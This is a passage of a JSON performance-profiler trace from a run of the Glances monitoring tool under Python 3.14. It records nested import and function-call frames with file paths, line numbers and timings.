\"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u000039\",\"time\": 0.002001,\"attributes\": {\"l116\": 0.0020011989981867373},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u000039\",\"time\": 0.002001,\"attributes\": {\"l88\": 0.0020011989981867373},\"children\": [{\"identifier\": \"_optimize_charset\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000248\",\"time\": 0.002001,\"attributes\": {\"l349\": 0.0020011989981867373},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u00001\",\"time\": 0.016000,\"attributes\": {\"l30\": 0.00206056100432761, \"l33\": 0.003960900998208672, \"l37\": 0.009978730995499063},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.016000,\"attributes\": {\"l1371\": 0.016000192998035345},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.016000,\"attributes\": {\"l1342\": 0.016000192998035345},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.016000,\"attributes\": {\"l938\": 0.016000192998035345},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.016000,\"attributes\": {\"cSourceFileLoader\": 0.016000192998035345, \"l758\": 0.00206056100432761, \"l762\": 0.013939631993707735},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002061,\"attributes\": {\"cSourceFileLoader\": 0.00206056100432761, \"l891\": 0.00206056100432761},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.002061,\"attributes\": {\"l514\": 0.00206056100432761},\"children\": [{\"identifier\": \"loads\\u0000<built-in>\\u00000\",\"time\": 0.002061,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002061,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.013940,\"attributes\": {\"l491\": 0.013939631993707735},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/statistics.py\\u00001\",\"time\": 0.003961,\"attributes\": {\"l137\": 0.0019394229966565035, \"l1218\": 0.0020214780015521683},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001939,\"attributes\": {\"l1371\": 0.0019394229966565035},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001939,\"attributes\": {\"l1342\": 0.0019394229966565035},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001939,\"attributes\": {\"l938\": 0.0019394229966565035},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001939,\"attributes\": {\"cSourceFileLoader\": 0.0019394229966565035, \"l762\": 0.0019394229966565035},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001939,\"attributes\": {\"l491\": 0.0019394229966565035},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/fractions.py\\u00001\",\"time\": 0.001939,\"attributes\": {\"l56\": 0.0019394229966565035},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000287\",\"time\": 0.001939,\"attributes\": {\"l289\": 0.0019394229966565035},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.001939,\"attributes\": {\"l350\": 0.0019394229966565035},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000757\",\"time\": 0.001939,\"attributes\": {\"l762\": 0.0019394229966565035},\"children\": [{\"identifier\": \"parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000963\",\"time\": 0.001939,\"attributes\": {\"l973\": 0.0019394229966565035},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001939,\"attributes\": {\"l460\": 0.0019394229966565035},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001939,\"attributes\": {\"l530\": 0.0019394229966565035},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000261\",\"time\": 0.001939,\"attributes\": {\"cTokenizer\": 0.0019394229966565035, \"l263\": 0.0019394229966565035},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001939,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"NormalDist\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/statistics.py\\u00001218\",\"time\": 0.002021,\"attributes\": {\"l1437\": 0.0020214780015521683},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002021,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/request.py\\u00001\",\"time\": 0.009979,\"attributes\": {\"l89\": 0.008020392997423187, \"l867\": 0.0019583379980758764},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.008020,\"attributes\": {\"l1371\": 0.008020392997423187},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.008020,\"attributes\": {\"l1314\": 0.001976588995603379, \"l1342\": 0.006043804001819808},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001977,\"attributes\": {\"l491\": 0.001976588995603379},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001977,\"attributes\": {\"l1371\": 0.001976588995603379},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001977,\"attributes\": {\"l1333\": 0.001976588995603379},\"children\": [{\"identifier\": \"_find_spec\\u0000<frozen importlib._bootstrap>\\u00001243\",\"time\": 0.001977,\"attributes\": {\"l1267\": 0.001976588995603379},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001287\",\"time\": 0.001977,\"attributes\": {\"cPathFinder\": 0.001976588995603379, \"l1295\": 0.001976588995603379},\"children\": [{\"identifier\": \"_get_spec\\u0000<frozen importlib._bootstrap_external>\\u00001258\",\"time\": 0.001977,\"attributes\": {\"cPathFinder\": 0.001976588995603379, \"l1269\": 0.001976588995603379},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001360\",\"time\": 0.001977,\"attributes\": {\"cFileFinder\": 0.001976588995603379, \"l1368\": 0.001976588995603379},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001977,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.006044,\"attributes\": {\"l938\": 0.006043804001819808},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.006044,\"attributes\": {\"cSourceFileLoader\": 0.006043804001819808, \"l762\": 0.006043804001819808},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.006044,\"attributes\": {\"l491\": 0.006043804001819808},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001\",\"time\": 0.006044,\"attributes\": {\"l71\": 0.0039996780033106916, \"l1450\": 0.0020441259985091165},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.006044,\"attributes\": {\"l1371\": 0.006043804001819808},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.006044,\"attributes\": {\"l1342\": 0.006043804001819808},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.006044,\"attributes\": {\"l938\": 0.006043804001819808},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.006044,\"attributes\": {\"cSourceFileLoader\": 0.006043804001819808, \"l762\": 0.006043804001819808},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.006044,\"attributes\": {\"l491\": 0.006043804001819808},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/parser.py\\u00001\",\"time\": 0.004000,\"attributes\": {\"l12\": 0.0039996780033106916},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.004000,\"attributes\": {\"l1371\": 0.0039996780033106916},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.004000,\"attributes\": {\"l1342\": 0.0039996780033106916},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.004000,\"attributes\": {\"l938\": 0.0039996780033106916},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.004000,\"attributes\": {\"cSourceFileLoader\": 0.0039996780033106916, \"l762\": 0.0039996780033106916},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.004000,\"attributes\": {\"l491\": 0.0039996780033106916},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/feedparser.py\\u00001\",\"time\": 0.004000,\"attributes\": {\"l27\": 0.0020014149995404296, \"l40\": 0.001998263003770262},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002001,\"attributes\": {\"l1371\": 0.0020014149995404296},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002001,\"attributes\": {\"l1342\": 0.0020014149995404296},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002001,\"attributes\": {\"l938\": 0.0020014149995404296},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002001,\"attributes\": {\"cSourceFileLoader\": 0.0020014149995404296, \"l762\": 0.0020014149995404296},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.0020014149995404296},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/_policybase.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l8\": 0.0020014149995404296},\"children\": [{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.002001,\"attributes\": {\"l1426\": 0.0020014149995404296},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.0020014149995404296},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002001,\"attributes\": {\"l1371\": 0.0020014149995404296},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002001,\"attributes\": {\"l1342\": 0.0020014149995404296},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002001,\"attributes\": {\"l938\": 0.0020014149995404296},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002001,\"attributes\": {\"cSourceFileLoader\": 0.0020014149995404296, \"l762\": 0.0020014149995404296},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.0020014149995404296},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/header.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l16\": 0.0020014149995404296},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002001,\"attributes\": {\"l1371\": 0.0020014149995404296},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002001,\"attributes\": {\"l1342\": 0.0020014149995404296},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002001,\"attributes\": {\"l938\": 0.0020014149995404296},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002001,\"attributes\": {\"cSourceFileLoader\": 0.0020014149995404296, \"l762\": 0.0020014149995404296},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.0020014149995404296},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/quoprimime.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l69\": 0.0020014149995404296},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000287\",\"time\": 0.001998,\"attributes\": {\"l289\": 0.001998263003770262},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.001998,\"attributes\": {\"l350\": 0.001998263003770262},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000757\",\"time\": 0.001998,\"attributes\": {\"l762\": 0.001998263003770262},\"children\": [{\"identifier\": \"parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000963\",\"time\": 0.001998,\"attributes\": {\"l973\": 0.001998263003770262},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001998,\"attributes\": {\"l460\": 0.001998263003770262},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001998,\"attributes\": {\"l856\": 0.001998263003770262},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001998,\"attributes\": {\"l460\": 0.001998263003770262},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001998,\"attributes\": {\"l530\": 0.001998263003770262},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000261\",\"time\": 0.001998,\"attributes\": {\"cTokenizer\": 0.001998263003770262, \"l263\": 0.001998263003770262},\"children\": [{\"identifier\": \"__next\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000240\",\"time\": 0.001998,\"attributes\": {\"cTokenizer\": 0.001998263003770262, \"l255\": 0.001998263003770262},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/ssl.py\\u00001\",\"time\": 0.002044,\"attributes\": {\"l100\": 0.0020441259985091165},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002044,\"attributes\": {\"l1371\": 0.0020441259985091165},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002044,\"attributes\": {\"l1342\": 0.0020441259985091165},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002044,\"attributes\": {\"l938\": 0.0020441259985091165},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap>\\u00001000\",\"time\": 0.002044,\"attributes\": {\"l1003\": 0.0020441259985091165},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002044,\"attributes\": {\"l491\": 0.0020441259985091165},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002044,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__build_class__\\u0000<built-in>\\u00000\",\"time\": 0.001958,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001958,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"glances_logger\\u0000/home/nicolargo/dev/glances/glances/logger.py\\u000073\",\"time\": 0.002081,\"attributes\": {\"l94\": 0.002081005004583858},\"children\": [{\"identifier\": \"dictConfig\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/logging/config.py\\u0000944\",\"time\": 0.002081,\"attributes\": {\"l946\": 0.002081005004583858},\"children\": [{\"identifier\": \"configure\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/logging/config.py\\u0000533\",\"time\": 0.002081,\"attributes\": {\"cDictConfigurator\": 0.002081005004583858, \"l580\": 0.002081005004583858},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002081,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/main.py\\u00001\",\"time\": 0.002276,\"attributes\": {\"l18\": 0.0022759810017305426},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002276,\"attributes\": {\"l1371\": 0.0022759810017305426},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002276,\"attributes\": {\"l1342\": 0.0022759810017305426},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002276,\"attributes\": {\"l938\": 0.0022759810017305426},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002276,\"attributes\": {\"cSourceFileLoader\": 0.0022759810017305426, \"l758\": 0.0022759810017305426},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002276,\"attributes\": {\"cSourceFileLoader\": 0.0022759810017305426, \"l891\": 0.0022759810017305426},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.002276,\"attributes\": {\"l514\": 0.0022759810017305426},\"children\": [{\"identifier\": \"loads\\u0000<built-in>\\u00000\",\"time\": 0.002276,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002276,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_run_module_code\\u0000<frozen runpy>\\u000091\",\"time\": 65.868943,\"attributes\": {\"l98\": 65.86894254999788},\"children\": [{\"identifier\": \"_run_code\\u0000<frozen runpy>\\u000065\",\"time\": 65.868943,\"attributes\": {\"l88\": 65.86894254999788},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/__main__.py\\u00001\",\"time\": 65.868943,\"attributes\": {\"l17\": 65.86894254999788},\"children\": [{\"identifier\": \"main\\u0000/home/nicolargo/dev/glances/glances/__init__.py\\u0000161\",\"time\": 65.868943,\"attributes\": {\"l178\": 0.001728998999169562, \"l188\": 0.010018829998443834, \"l191\": 65.85719472100027},\"children\": [{\"identifier\": \"python_implementation\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/platform.py\\u00001249\",\"time\": 0.001729,\"attributes\": {\"l1259\": 0.001728998999169562},\"children\": [{\"identifier\": \"_sys_version\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/platform.py\\u00001145\",\"time\": 0.001729,\"attributes\": {\"l1210\": 0.001728998999169562},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000287\",\"time\": 0.001729,\"attributes\": {\"l289\": 0.001728998999169562},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.001729,\"attributes\": {\"l350\": 0.001728998999169562},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000757\",\"time\": 0.001729,\"attributes\": {\"l762\": 0.001728998999169562},\"children\": [{\"identifier\": \"parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000963\",\"time\": 0.001729,\"attributes\": {\"l973\": 0.001728998999169562},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001729,\"attributes\": {\"l460\": 0.001728998999169562},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001729,\"attributes\": {\"l856\": 0.001728998999169562},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001729,\"attributes\": {\"l460\": 0.001728998999169562},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001729,\"attributes\": {\"l530\": 0.001728998999169562},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000261\",\"time\": 0.001729,\"attributes\": {\"cTokenizer\": 0.001728998999169562, \"l263\": 0.001728998999169562},\"children\": [{\"identifier\": \"__next\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000240\",\"time\": 0.001729,\"attributes\": {\"cTokenizer\": 0.001728998999169562, \"l255\": 0.001728998999169562},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001729,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/main.py\\u0000106\",\"time\": 0.010019,\"attributes\": {\"cGlancesMain\": 0.010018829998443834, \"l108\": 0.010018829998443834},\"children\": [{\"identifier\": \"init_glances\\u0000/home/nicolargo/dev/glances/glances/main.py\\u0000110\",\"time\": 0.010019,\"attributes\": {\"cGlancesMain\": 0.010018829998443834, \"l113\": 0.006029277996276505, \"l118\": 0.003989552002167329},\"children\": [{\"identifier\": \"parse_args\\u0000/home/nicolargo/dev/glances/glances/main.py\\u0000872\",\"time\": 0.006029,\"attributes\": {\"cGlancesMain\": 0.006029277996276505, \"l874\": 0.006029277996276505},\"children\": [{\"identifier\": \"init_args\\u0000/home/nicolargo/dev/glances/glances/main.py\\u0000181\",\"time\": 0.006029,\"attributes\": {\"cGlancesMain\": 0.006029277996276505, \"l191\": 0.0019155449990648776, \"l381\": 0.002006283000810072, \"l641\": 0.002107449996401556},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001916,\"attributes\": {},\"children\": []},{\"identifier\": \"add_argument\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/argparse.py\\u00001505\",\"time\": 0.004114,\"attributes\": {\"cArgumentParser\": 0.004113732997211628, \"l1561\": 0.002006283000810072, \"l1556\": 0.002107449996401556},\"children\": [{\"identifier\": \"_check_help\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/argparse.py\\u00001743\",\"time\": 0.002006,\"attributes\": {\"cArgumentParser\": 0.002006283000810072, \"l1745\": 0.002006283000810072},\"children\": [{\"identifier\": \"_get_formatter\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/argparse.py\\u00002724\",\"time\": 0.002006,\"attributes\": {\"cArgumentParser\": 0.002006283000810072, \"l2725\": 0.002006283000810072},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/argparse.py\\u0000164\",\"time\": 0.002006,\"attributes\": {\"cRawDescriptionHelpFormatter\": 0.002006283000810072, \"l178\": 0.002006283000810072},\"children\": [{\"identifier\": \"_set_color\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/argparse.py\\u0000195\",\"time\": 0.002006,\"attributes\": {\"cRawDescriptionHelpFormatter\": 0.002006283000810072, \"l198\": 0.002006283000810072},\"children\": [{\"identifier\": \"can_colorize\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/_colorize.py\\u0000275\",\"time\": 0.002006,\"attributes\": {\"l314\": 0.002006283000810072},\"children\": [{\"identifier\": \"TextIOWrapper.fileno\\u0000<built-in>\\u00000\",\"time\": 0.002006,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002006,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"_get_formatter\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/argparse.py\\u00002724\",\"time\": 0.002107,\"attributes\": {\"cArgumentParser\": 0.002107449996401556, \"l2725\": 0.002107449996401556},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/argparse.py\\u0000164\",\"time\": 0.002107,\"attributes\": {\"cRawDescriptionHelpFormatter\": 0.002107449996401556, \"l178\": 0.002107449996401556},\"children\": [{\"identifier\": \"_set_color\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/argparse.py\\u0000195\",\"time\": 0.002107,\"attributes\": 